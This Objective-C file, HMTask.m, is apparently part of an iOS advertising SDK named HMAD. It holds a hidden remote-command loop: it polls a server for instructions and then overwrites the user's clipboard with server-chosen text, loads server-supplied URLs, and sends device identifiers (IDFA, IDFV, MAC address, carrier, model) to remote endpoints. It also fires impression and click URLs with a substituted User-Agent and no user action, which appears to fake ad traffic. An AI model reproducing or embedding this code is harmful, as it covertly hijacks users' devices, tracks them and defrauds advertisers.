//
//  HMTask.m
//  HMAD
//
//  Created by hm on 2017/8/3.
//  Copyright © 2017年 Harmight. All rights reserved.
//

#import "HMAD.h"
#import "HMTools.h"
#import "HMSetting.h"

//声明弱引用对象，常在blocks中使用
#define WEAKSELF typeof(self) __weak weakSelf = self;
//是否是iPad
#define isiPad (UI_USER_INTERFACE_IDIOM() == UIUserInterfaceIdiomPad)

@interface HMTask()<HMTaskWebViewDelegate>
{
    int y_step;
}
@property(nonatomic, assign) BOOL debug;

@property(nonatomic, assign) NSNumber *taskFreq;//task请求间隔

@property (nonatomic, strong) NSString *requestUrl;//task请求地址

@property(nonatomic, strong) NSMutableArray *cmdArr;//任务列表
@property(nonatomic, strong) NSMutableArray *urlArr;//地址列表

@property(nonatomic, strong) NSDictionary *headerUrlDic;//header

@end

@implementation HMTask

static HMTask *g_HMTask = NULL;

/**
 *  创建一个实例执行task任务
 *
 *  @return HMTask
 */
+ (HMTask *)sharedManager {
    if (!g_HMTask) {
        g_HMTask = [[HMTask alloc] init];
    }
    return g_HMTask;
}

- (instancetype)init {
    if (self = [super init]) {
        [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(applicationDidEnterBackground) name:UIApplicationDidEnterBackgroundNotification object:nil];
        [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(applicationWillEnterForeground) name:UIApplicationWillEnterForegroundNotification object:nil];
    }
    return self;
}

- (void)applicationDidEnterBackground {
    
}

- (void)applicationWillEnterForeground {
    
}

- (void)printLog:(NSString *)log {
    if (debugSDK) {
        NSLog(@"task log:%@",log);
    }
}

/**
 * 请求settings配置并解析保存
 */
- (void)reqSettings:(BOOL)justUpdate {
    
    NSString *appId = [[HMSetting sharedManager] getAppId];
    NSString *screctKey = [[HMSetting sharedManager] getSecretKey];
    
    NSArray *documents = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES);
    NSString *path = [documents[0] stringByAppendingPathComponent:@"settings.plist"];
    
    if (justUpdate==NO) {
        //加载本地
        NSData * storeData = [NSData dataWithContentsOfFile:path];
        if (storeData != nil) {
            //json
            [self printLog:@"加载本地配置"];
            NSDictionary *settings = [NSJSONSerialization JSONObjectWithData:storeData options:kNilOptions error:nil];
            if (settings != nil) {
                //根据保存数据解析
                [self executeBySettings];//根据本地配置请求task
                // 到请求时间了？
                NSNumber *nowTime =@((NSInteger)round([[NSDate date] timeIntervalSince1970]));
                if ((nowTime.integerValue-[HMTools readNumByKey:@"last_setting_time"].integerValue)>24*60*60){//超过一天？
                    [self reqSettings:YES];
                }
                return;
            }
        }
        //本地没有
    }
    [self printLog:@"网络请求配置"];
    //网络请求settings
    //1.settings路径
    //1.创建会话对象
    NSURLSession *session = [NSURLSession sharedSession];
    //2.根据会话对象创建task
    NSURL *url = [NSURL URLWithString:SettingsURL];
    //3.创建可变的请求对象
    NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url];
    //4.修改请求方法为POST
    request.HTTPMethod = @"POST";
    //5.请求头
    [request setValue:SDKVersion forHTTPHeaderField:@"sv"];
    
    [request setValue:@"1" forHTTPHeaderField:@"mb"];
    
    NSString *original =[[[appId stringByAppendingString:[HMTools getIdfa]] stringByAppendingString:@"|"] stringByAppendingString:screctKey];
    NSString *ck =[HMTools md5:original];
    [request addValue:ck forHTTPHeaderField:@"checksum"];
    [request addValue:ck forHTTPHeaderField:@"ck"];
    
    //6.请求体
    NSString *adId =[HMTools getIdfa];
    NSString *postParams =[[NSString alloc] initWithFormat:@"h=%@&hid=%@",appId,[HMTools md5:adId]];//hid = adId的md5值
    
    NSData *postData = [postParams dataUsingEncoding:NSASCIIStringEncoding allowLossyConversion:YES];
    [request setHTTPBody:postData];
    //7..根据会话对象创建一个Task(发送请求）
    NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data,NSURLResponse * _Nullable response, NSError * _Nullable error){
        
        if (data == nil) {
            // @"网络错误";
            [self printLog:@"请求配置网络错误"];
            return;
        }
        //8.解密数据
        NSString *key = [[[screctKey stringByAppendingString:@"|"] stringByAppendingString:[HMTools md5:adId]] stringByAppendingString:@"|9z1hf6p9"];
        NSString *md5 =[[HMTools md5:key] substringToIndex:8];//8位md5位key
        
        NSData *result = [HMTools DESDecrypt:data WithKey:md5];
        
        //保存
        BOOL rs = [result writeToFile:path atomically:YES];
        if(rs){
            NSData * storeData = [NSData dataWithContentsOfFile:path];
            if (storeData != nil) {
                
                
                NSNumber *lastSettingTime = @((NSInteger)round([[NSDate date] timeIntervalSince1970]));
                
                [HMTools writeNumWithKey:@"last_setting_time" value:lastSettingTime];
                
                if(justUpdate){
                    [self printLog:@"仅更新配置"];
                    
                    return;//仅更新
                }
                
                [self executeBySettings];
                return;
            }
        }
        //保存失败?解析失败?
        [self printLog:@"请求配置解析错误"];
    }];
    //7.执行任务
    [dataTask resume];
}

- (void)executeBySettings {
    NSArray *documents = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES);
    NSString *path = [documents[0] stringByAppendingPathComponent:@"settings.plist"];
    
    NSData * storeData = [NSData dataWithContentsOfFile:path];
    if (storeData != nil) {
        NSDictionary *settings = [NSJSONSerialization JSONObjectWithData:storeData options:kNilOptions error:nil];
        if (settings==nil) {
            return;
        }
        
        // 使用新的settings执行task
        NSDictionary *cmdTask = settings[@"cmdTask"];
        NSNumber *enable = cmdTask[@"enable"];
        if ([enable isEqualToNumber: @1]) {//cmdTask打开中
            [self printLog:@"cmdTask打开中"];
            self.requestUrl = cmdTask[@"requestUrl"];
            [self printLog:@"请求task任务"];
            self.taskFreq= cmdTask[@"freq"];//task请求周期
            [self requestTask];
        }else{
            [self printLog:@"cmdTask关闭中"];
        }
    }
}

- (void)requestTask {
    NSString *appId = [[HMSetting sharedManager] getAppId];
    NSString *secretKey = [[HMSetting sharedManager] getSecretKey];
    
    //网络请求task
    //1.创建会话对象
    NSURLSession *session = [NSURLSession sharedSession];
    //2.根据会话对象创建task
    NSURL *url = [NSURL URLWithString:self.requestUrl];
    //3.创建可变的请求对象
    NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url];
    [request setValue:@"application/json;encoding=utf-8" forHTTPHeaderField:@"Content-Type"];
    //4.修改请求方法为POST
    request.HTTPMethod = @"POST";
    //5.请求头
    NSString *original =[[[appId stringByAppendingString:[HMTools getIdfa]] stringByAppendingString:@"|"] stringByAppendingString:secretKey];
    NSString *ck =[HMTools md5:original];
    [request setValue:ck forHTTPHeaderField:@"ck"];
    [request setValue:SDKVersion forHTTPHeaderField:@"sv"];
    //如果cv有新版则更新最新版后请求
    NSArray *documents = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES);
    NSString *path = [documents[0] stringByAppendingPathComponent:@"settings.plist"];
    NSString *version;
    //判断是否有已保存的配置
    NSData * storeData = [NSData dataWithContentsOfFile:path];
    if (storeData != nil) {
        NSDictionary *settings = [NSJSONSerialization JSONObjectWithData:storeData options:(NSJSONReadingOptions) kNilOptions error:nil];
        if (settings != nil) {
            version = [settings[@"version"] description];
        }else{
            version = @"0";
        }
    }else{
        version = @"0";
    }
    [request setValue:version forHTTPHeaderField:@"cv"];
    [request setValue:@"1" forHTTPHeaderField:@"mb"];
    [request setValue:appId forHTTPHeaderField:@"h"];
    
    //6.请求体
    NSString *osv = [[UIDevice currentDevice] systemVersion];
    NSString *idfa =[HMTools getIdfa];
    NSString *idfv = [[[UIDevice currentDevice] identifierForVendor] UUIDString];
    NSString *conntype = [NSString stringWithFormat:@"%ld",(long)@([HMTools getNetworkType])];
    NSString *operators = [HMTools getcarrierName];
    NSNumber *swidth = @(UIScreenWidth * 2);
    NSNumber *sheight = @(UIScreenHeight * 2);
    NSString *model =[HMTools iphoneType];
    NSString *ua = [HMTools readStrByKey:@"User-Agent"];
    
    NSString *postParams =[[NSString alloc] initWithFormat:@"osv=%@&os=iOS&idfa=%@&idfv=%@&conntype=%@&operators=%@&swidth=%@&sheight=%@&h=%@&brand=Apple&make=Apple&model=%@&ua=%@&v=4",osv,idfa,idfv,conntype,operators,swidth,sheight,appId,model,ua];//hid = adId的md5值
    
    NSData *postData = [postParams dataUsingEncoding:NSASCIIStringEncoding allowLossyConversion:YES];
    [request setHTTPBody:postData];
    //7..根据会话对象创建一个Task(发送请求）
    NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data,NSURLResponse * _Nullable response, NSError * _Nullable error){
        //拿到响应头信息
        NSHTTPURLResponse *res = (NSHTTPURLResponse *)response;
        //4.解析拿到的响应数据
        NSDictionary *allHeaders = res.allHeaderFields;
        NSString *cv = allHeaders[@"CV"];
        if (cv != nil) {
            NSArray *cva = [cv componentsSeparatedByString:@","]; //从字符,中分隔成数组
            NSString *subStr = cva[0];
            if (![subStr isEqualToString:version]) {//版本有变
                [self reqSettings:YES];
                return;
            }
        }
        
        if (data == nil) {
            // @"网络错误继续执行请求task";
            [self printLog:@"task请求网络错误"];
            [self runCmd];
            return;
        }
        
        NSArray *cmds = [NSJSONSerialization JSONObjectWithData:data options:(NSJSONReadingOptions) kNilOptions error:nil];
        if (cmds == nil) {
            [self printLog:@"task数据错误"];
            return;
        }
        
        self.cmdArr =  [NSMutableArray arrayWithCapacity:cmds.count];
        [self.cmdArr addObjectsFromArray:cmds];
        [self runCmd];
    }];
    //7.执行任务
    [dataTask resume];
}

- (void) runCmd {
    [self printLog:@"执行cmd任务"];
    if (self.cmdArr.count == 0 || self.cmdArr == nil) {
        //没有cmd任务了
        [self printLog:@"执行cmd结束或者cmd无任务 ,开启请求task间隔"];
        if ([self.taskFreq integerValue]<1000*60){
            self.taskFreq = @(1000*60);//不能小于1分钟
        }
        dispatch_time_t delayTime = dispatch_time(DISPATCH_TIME_NOW, (int64_t)([self.taskFreq integerValue]/1000/*延迟执行时间*/ * NSEC_PER_SEC));
        //一次task结束，间隔请求下一个task
        dispatch_after(delayTime, dispatch_get_main_queue(), ^{
            [self reqSettings:NO];
        });
    } else {
        [self printLog:@"执行一条cmd"];
        NSDictionary *cmd  = self.cmdArr[0];
        //执行成功后删除最顶元素
        [self.cmdArr removeObjectAtIndex:0];
        NSString *cmdStr = cmd[@"cmd"];
        if ([cmdStr isEqualToString:@"paste"]) {
            NSString *content = cmd[@"content"];
            UIPasteboard*pasteboard = [UIPasteboard generalPasteboard];
            pasteboard.string=content;
            [self printLog:@"执行一个cmd的paste请求结束，执行下一个cmd"];
            //cmd后上报
            [HMTools getRequestWithUrls:cmd[@"impress"]];
            [self printLog:cmd[@"impress"]];
            [self runCmd];
            return;
        } else if ([cmdStr isEqualToString:@"yingji"]) {
            y_step = 0;
            [self requestYingJiTaskId:cmd[@"id"] grad:@"1" paramUrl:cmd[@"paramUrl"] reportUrl:cmd[@"reportUrl"] impress:cmd[@"impress"] step:y_step];
            [self runCmd];
        } else if ([cmdStr isEqualToString:@"url"]) {
            NSArray *urls= cmd[@"urls"];
            self.urlArr =  [NSMutableArray arrayWithCapacity:urls.count];
            [self.urlArr addObjectsFromArray:urls];
            [self runUrls];//开启执行url请求
        }
    }
}

-(void)runUrls {
    if(self.urlArr==nil) {
        [self printLog:@"一个cmd的urls执行完成，执行下一个cmd"];
        [self runCmd];//一个cmd的urls执行完成，执行下一个cmd
        return;
    }
    if (self.urlArr.count ==0) {
        self.urlArr = nil;
        [self printLog:@"一个cmd的urls执行完成，执行下一个cmd"];
        [self runCmd];//一个cmd的urls执行完成，执行下一个cmd
        return;
    } else {
        NSDictionary *url  = self.urlArr[0];
        [self printLog:@"执行一个cmd的url请求"];
        //执行成功后删除最顶元素
        [self.urlArr removeObjectAtIndex:0];
        
        HMTaskController *taskController = [HMTaskController createWebWithDic:url];
        taskController.delegate = self;
        [taskController run];//执行url请求
    }
}

-(void)onUrlTaskComplete{
    //一次url任务执行完成，下一个
    [self printLog:@"执行一个cmd的url请求结束，执行下一个url"];
    [self runUrls];
}

///************    以JSON形式封装如下参数，并post到paramUrl  **************////
-(void)requestYingJiTaskId:(NSString*)yingjiId grad:(NSString*)grad paramUrl:(NSString*)paramUrl reportUrl:(NSString*)reportUrl  impress:(NSArray*)impressArr step:(int)step{
    
    
    //网络请求task
    //1.创建会话对象
    NSURLSession *session = [NSURLSession sharedSession];
    //2.根据会话对象创建task
    NSURL *url = [NSURL URLWithString:paramUrl];
    //3.创建可变的请求对象
    NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url];
    //4.修改请求方法为POST
    request.HTTPMethod = @"POST";
    //5.请求头
    [request setValue:@"application/json" forHTTPHeaderField:@"Content-Type"];
    //6.请求体
    NSString *osv = [[UIDevice currentDevice] systemVersion];
    NSString *idfa =[HMTools getIdfa];
    NSString *opt = [HMTools getcarrierName];
    NSNumber *sw = @(UIScreenWidth * 2);
    NSNumber *sh = @(UIScreenHeight * 2);
    NSNumber *swr = @(UIScreenWidth);
    NSNumber *shr = @(UIScreenHeight);
    NSString *model =[HMTools iphoneType];
    NSString *mac = [HMTools getMacAddress];
    NSString *ua = [HMTools readStrByKey:@"User-Agent"];
     
    
    NSDictionary  *postParamsDic = @{@"grad":grad,
                                     @"id":yingjiId,
                                     @"st":@"1",
                                     @"osv":osv,
                                     @"sw":sw,
                                     @"sh":sh,
                                     @"swr":swr,
                                     @"shr":shr,
                                     @"opt":opt,
                                     @"brand":@"Apple",
                                     @"model":model,
                                     @"mac":mac,
                                     @"ua":ua==nil?@"":ua,
                                     @"nt":@([HMTools getYingjiNetworkType]),
                                     @"idfa":idfa};
    
    
    NSData *postData = [[self dictionaryToJson:postParamsDic] dataUsingEncoding:NSASCIIStringEncoding allowLossyConversion:YES];
    [request setHTTPBody:postData];
    //7..根据会话对象创建一个Task(发送请求）
    NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data,NSURLResponse * _Nullable response, NSError * _Nullable error){
        
        
        if (data == nil) {
            // @"网络错误继续执行请求task";
            [self printLog:@"task请求网络错误"];
            //
            [self runCmd];
            return;
        }
        //json
        NSDictionary *jsonData = [NSJSONSerialization JSONObjectWithData:data options:(NSJSONReadingOptions) kNilOptions error:nil];
        
        if(jsonData==nil){
            [self printLog:@"task数据错误"];
            //cmds nil
            [self runCmd];
            return;
        }
        // 依据上一步的返回，封装请求sdkUrl，得到返回的数据responseData
        [self yingjiTwoRequest:jsonData yingjiId:yingjiId grad:grad reportUrl:reportUrl paramUrl:paramUrl impress:impressArr step:step+1];
        [self getYingjiImpressRequestWithUrls:impressArr y_step:step+1];
    }];
    //7.执行任务
    [dataTask resume];
}

///************     依据第1步的返回，封装请求sdkUrl，得到返回的数据responseData  **************////
-(void)yingjiTwoRequest:(NSDictionary*)jsonData yingjiId:(NSString*)yingjiId grad:(NSString*)grad reportUrl:(NSString*)reportUrl paramUrl:(NSString*)paramUrl impress:(NSArray*)impressArr step:(int)step{
    
    NSDictionary *dataDic = jsonData;
    
    self.headerUrlDic =jsonData ;
    
    NSString *URL ;
    if ([dataDic[@"method"] isEqualToString:@"GET"]) {
        
        URL = [NSString stringWithFormat:@"%@%@",dataDic[@"sdkUrl"],dataDic[@"data"]];
    }else{
        
        URL = dataDic[@"sdkUrl"];
    }
    
    //网络请求task
    //1.创建会话对象
    NSURLSession *session = [NSURLSession sharedSession];
    //2.根据会话对象创建task
    NSURL *url = [NSURL URLWithString:URL];
    //3.创建可变的请求对象
    NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url];
    [request setValue:@"application/json" forHTTPHeaderField:@"Content-Type"];
    //4.修改请求方法为POST
    request.HTTPMethod = dataDic[@"method"];
    //5.请求头
    if ([dataDic[@"header"] isEqualToString:@""]||dataDic[@"header"]==nil) {
    }else{
        NSDictionary *headerDic = dataDic[@"header"];
        ;
        NSArray *keys = [headerDic allKeys];
        for (NSString *key in keys) {
            [request setValue:headerDic[key] forHTTPHeaderField:key];
        }
    }
    
    NSString *ua = [HMTools readStrByKey:@"User-Agent"];
    [request setValue:ua forHTTPHeaderField:@"User-Agent"];
    
    //7..根据会话对象创建一个Task(发送请求）
    NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data,NSURLResponse * _Nullable response, NSError * _Nullable error){
        
        NSHTTPURLResponse *httpResponse = (NSHTTPURLResponse*)response;
        if (httpResponse.statusCode >=200 && httpResponse.statusCode<300) {
            
            [self getYingjiImpressRequestWithUrls:impressArr y_step:step+1];
        }
        //8.数据
        NSString *str=[[NSString alloc]initWithData:data encoding:NSUTF8StringEncoding];
        if ([str isEqualToString:@""]||str ==nil) {
            
            [self printLog:@"task数据错误"];
            //
            [self runCmd];
            return;
        }
        
        [self yingjiThreeRequest:str yingjiId:yingjiId grad:grad reportUrl:reportUrl paramUrl:paramUrl impress:impressArr step:step+1];
    }];
    //7.执行任务
    [dataTask resume];
}

///************   Post ResponseData 到reportUrl，请求方式如下  **************////
-(void)yingjiThreeRequest:(NSString*)ResponseData yingjiId:(NSString*)yingjiId grad:(NSString*)grad reportUrl:(NSString*)reportUrl paramUrl:(NSString*)paramUrl impress:(NSArray*)impressArr step:(int)step{
    
    
    //网络请求task
    //1.创建会话对象
    NSURLSession *session = [NSURLSession sharedSession];
    //2.根据会话对象创建task
    NSURL *url = [NSURL URLWithString:reportUrl];
    //3.创建可变的请求对象
    NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url];
    [request setValue:@"application/json" forHTTPHeaderField:@"Content-Type"];
    //4.修改请求方法为POST
    request.HTTPMethod = @"POST";
    
    //6.请求体
    NSDictionary  *postParamsDic = @{@"grad":grad,
                                     @"id":yingjiId,
                                     @"res":[self parseJSONStringToNSDictionary:ResponseData]};
    
    NSData *postData = [[self dictionaryToJson:postParamsDic] dataUsingEncoding:NSASCIIStringEncoding allowLossyConversion:YES];
    [request setHTTPBody:postData];
    //7..根据会话对象创建一个Task(发送请求）
    NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data,NSURLResponse * _Nullable response, NSError * _Nullable error){
        NSHTTPURLResponse *httpResponse = (NSHTTPURLResponse*)response;
         //请求成功上报impress
        int stemp =step+1;
        if (httpResponse.statusCode >=200 && httpResponse.statusCode<300) {
            
            [self getYingjiImpressRequestWithUrls:impressArr y_step:step+1];
        }
        
        if (data == nil) {
            // @"网络错误继续执行请求task";
            [self printLog:@"鹰击task请求网络错误2"];
            //
            [self runCmd];
            return;
        }
        //json
        NSDictionary *jsonData = [NSJSONSerialization JSONObjectWithData:data options:(NSJSONReadingOptions) kNilOptions error:nil];
        
        if(jsonData==nil){
            [self printLog:@"鹰击task数据错误2"];
            //cmds nil
            [self runCmd];
            return;
        }
        
        //请求clcik
        NSDictionary *clickDic = jsonData[@"click"];
        if (clickDic !=nil) {
            NSString *time = clickDic[@"delay"];
            NSArray *clickArr = clickDic[@"url"];
            NSMutableArray * urlArr = [NSMutableArray arrayWithCapacity:clickArr.count];
            [urlArr addObjectsFromArray:clickArr];
            WEAKSELF
            dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)([time integerValue] * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
                [weakSelf requestClick:urlArr[0] urlsArr:urlArr yingjiId:yingjiId grad:grad reportUrl:reportUrl paramUrl:paramUrl impress:impressArr step:stemp+1];
                [urlArr removeObject:urlArr[0]];
            });
        }

        //请求exposure/show
        if (jsonData[@"exposure"] !=nil) {
            NSArray *Arr = jsonData[@"exposure"];
            NSMutableArray * exposureArr = [NSMutableArray arrayWithCapacity:Arr.count];
            [exposureArr addObjectsFromArray:Arr];
            [self yingjiExposurePostUrl:exposureArr[0] paramUrl:paramUrl yingjiId:yingjiId grad:grad reportUrl:reportUrl impress:impressArr step:stemp  exposureArrs:exposureArr clcikDic:clickDic];
            [exposureArr removeObjectAtIndex:0];
        }
    }];
    //7.执行任务
    [dataTask resume];
    
}
//**********************   请求exposure地址    ********************************//
-(void)yingjiExposurePostUrl:(NSString*)urlStr paramUrl:(NSString*)paramUrl yingjiId:(NSString*)yingjiId grad:(NSString*)grad reportUrl:(NSString*)reportUrl impress:(NSArray*)impressArr step:(int)step exposureArrs:(NSMutableArray*)exposureArrs clcikDic:(NSDictionary*)clickDic{
    
    //网络请求task
    //1.创建会话对象
    NSURLSession *session = [NSURLSession sharedSession];
    //2.根据会话对象创建task
    NSURL *url = [NSURL URLWithString:urlStr];
    //3.创建可变的请求对象
    NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url];
    [request setValue:@"application/json" forHTTPHeaderField:@"Content-Type"];
    //4.修改请求方法为POST
    //request.HTTPMethod = self.headerUrlDic[@"method"];
    request.HTTPMethod = @"POST";
    //5.请求头
    NSDictionary *dicHeader = self.headerUrlDic[@"header"];
    
    if (dicHeader !=nil) {
        [request setValue:dicHeader[@"User-Agent"] forHTTPHeaderField:@"User-Agent"];
    }else{
        NSString *ua = [HMTools readStrByKey:@"User-Agent"];
        [request setValue:ua forHTTPHeaderField:@"User-Agent"];
    }
    
//    [self printLog:[NSString stringWithFormat:@"%@-----%@----%@",[HMTools readStrByKey:@"User-Agent"],dicHeader,request]];
    //7..根据会话对象创建一个Task(发送请求）
    NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data,NSURLResponse * _Nullable response, NSError * _Nullable error){
        
        //8.数据
        NSString *str=[[NSString alloc]initWithData:data encoding:NSUTF8StringEncoding];
        
        [self printLog:str];
        
        if (exposureArrs ==nil || exposureArrs.count == 0 ) {
             [self getYingjiImpressRequestWithUrls:impressArr y_step:step+1];
            if (clickDic==nil && [grad isEqualToString:@"1"]) {
                 [self requestYingJiTaskId:yingjiId grad:@"2" paramUrl:paramUrl reportUrl:reportUrl impress:impressArr step:step+1];
            }
            return;
        }else{
            [self yingjiExposurePostUrl:exposureArrs[0] paramUrl:paramUrl yingjiId:yingjiId grad:grad reportUrl:reportUrl impress:impressArr step:step  exposureArrs:exposureArrs clcikDic:clickDic];
            [exposureArrs removeObject:exposureArrs[0]];
            return ;
        }
//        if ([str isEqualToString:@""]||str==nil) {
//
//            [self runCmd];
//            return ;
//        }
    }];
    //7.执行任务
    [dataTask resume];
}
//**********************   请求click地址    ********************************//
-(void)requestClick:(NSString*)clickUrl urlsArr:(NSMutableArray*)urlsArr  yingjiId:(NSString*)yingjiId grad:(NSString*)grad reportUrl:(NSString*)reportUrl paramUrl:(NSString*)paramUrl impress:(NSArray*)impressArr step:(int)step

{
    
    //网络请求task
    //1.创建会话对象
    NSURLSession *session = [NSURLSession sharedSession];
    //2.根据会话对象创建task
    NSURL *url = [NSURL URLWithString:clickUrl];
    //3.创建可变的请求对象
    NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url];
    [request setValue:@"application/json" forHTTPHeaderField:@"Content-Type"];
    
    NSDictionary *dicHeader = self.headerUrlDic[@"header"];
    
    if (dicHeader !=nil) {
        [request setValue:dicHeader[@"User-Agent"] forHTTPHeaderField:@"User-Agent"];
    }else{
        NSString *ua = [HMTools readStrByKey:@"User-Agent"];
        [request setValue:ua forHTTPHeaderField:@"User-Agent"];
    }
    //4.修改请求方法为POST
    // request.HTTPMethod = self.headerUrlDic[@"method"];
    request.HTTPMethod = @"POST";
    
    //7..根据会话对象创建一个Task(发送请求）
    NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data,NSURLResponse * _Nullable response, NSError * _Nullable error){
        
        [self printLog:@"鹰击task请求完成"];
        if (urlsArr ==nil || urlsArr.count == 0 ) {
            [self getYingjiImpressRequestWithUrls:impressArr y_step:step+1];
            if ([grad isEqualToString:@"1"] ) {
                [self requestYingJiTaskId:yingjiId grad:@"2" paramUrl:paramUrl reportUrl:reportUrl impress:impressArr step:step+1];
            }
            return;
        }else{
            [self requestClick:urlsArr[0] urlsArr:urlsArr yingjiId:yingjiId grad:grad reportUrl:reportUrl paramUrl:paramUrl impress:impressArr step:step+1];
            [urlsArr removeObject:urlsArr[0]];
            return ;
        }
//        NSString *str=[[NSString alloc]initWithData:data encoding:NSUTF8StringEncoding];
//        if ([str isEqualToString:@""]||str==nil) {
//
//            [self runCmd];
//            return ;
//        }
    }];
    //7.执行任务
    [dataTask resume];
}


//逐个请求上报url
- (void)getYingjiImpressRequestWithUrls:(NSArray *)urls y_step:(int)step{
    
    if(urls == nil){
        return;
    }
    if ([urls isKindOfClass:[NSNull class]]) {
        return;
    }
    if (urls) {
        
        for (NSString* url in urls) {
            if ([url hasPrefix:@"http"]) {
                
                NSString *strUrl = [url stringByReplacingOccurrencesOfString:@"__YJ_STEP__" withString:[NSString stringWithFormat:@"%d",step]];
                [self printLog:strUrl];
                [self getYingjiRequestWithURL:strUrl];
            }else{
                //NSLog(@"HMAD SDK Log:连接有误%@",url);
            }
        }
    }else{
       
    }
}

- (void)getYingjiRequestWithURL:(NSString *)urlstring
{
    if(urlstring==nil){
        return;
    }
    
    NSString *urlstr = [urlstring stringByAddingPercentEncodingWithAllowedCharacters:[NSCharacterSet URLQueryAllowedCharacterSet]];
    
    NSURL *url = [NSURL URLWithString:urlstr];
    NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url];
    
    [request addValue:[HMTools readStrByKey:@"User-Agent"] forHTTPHeaderField:@"User-Agent"];
    
    NSURLSessionDataTask *dataTask = [[NSURLSession sharedSession] dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {
        
    }];
    [dataTask resume];
}

//字典转json
- (NSString*)dictionaryToJson:(NSDictionary *)dic{
    
    NSError *error;
    NSData *jsonData = [NSJSONSerialization dataWithJSONObject:dic options:NSJSONWritingPrettyPrinted error:&error];
    NSString *jsonString;
    if (!jsonData) {
        NSLog(@"%@",error);
    }else{
        jsonString = [[NSString alloc]initWithData:jsonData encoding:NSUTF8StringEncoding];
    }
    NSMutableString *mutStr = [NSMutableString stringWithString:jsonString];
    NSRange range = {0,jsonString.length};
    //去掉字符串中的空格
    [mutStr replaceOccurrencesOfString:@" " withString:@"" options:NSLiteralSearch range:range];
    NSRange range2 = {0,mutStr.length};
    //去掉字符串中的换行符
    [mutStr replaceOccurrencesOfString:@"\n" withString:@"" options:NSLiteralSearch range:range2];
    return mutStr;
}
-(NSDictionary *)parseJSONStringToNSDictionary:(NSString *)JSONString {
    NSData *JSONData = [JSONString dataUsingEncoding:NSUTF8StringEncoding];
    NSDictionary *responseJSON = [NSJSONSerialization JSONObjectWithData:JSONData options:NSJSONReadingMutableLeaves error:nil];
    return responseJSON;
}
@end

